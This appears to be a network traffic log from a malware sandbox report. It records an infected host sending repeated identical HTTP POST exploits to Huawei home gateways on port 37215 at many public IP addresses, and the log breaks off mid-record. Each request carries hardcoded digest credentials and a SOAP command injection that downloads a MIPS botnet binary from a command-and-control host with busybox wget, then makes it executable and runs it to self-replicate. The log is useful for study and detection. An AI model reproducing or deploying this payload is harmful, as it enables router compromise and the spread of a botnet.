Nov 3, 2024 15:33:05.202269077 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.14	60004	197.164.23.128	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.204133034 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.14	48294	156.42.97.189	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.205996037 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.14	36852	197.181.5.130	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.207832098 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.14	39572	197.101.8.217	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.209579945 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.14	50810	41.212.37.47	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.211383104 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.14	44126	197.69.184.15	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.212930918 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.14	34128	156.197.244.29	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.214900017 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.14	52884	156.9.19.35	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.216708899 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.14	39270	197.45.148.89	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.218477011 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.14	52734	41.12.238.176	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.220093966 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 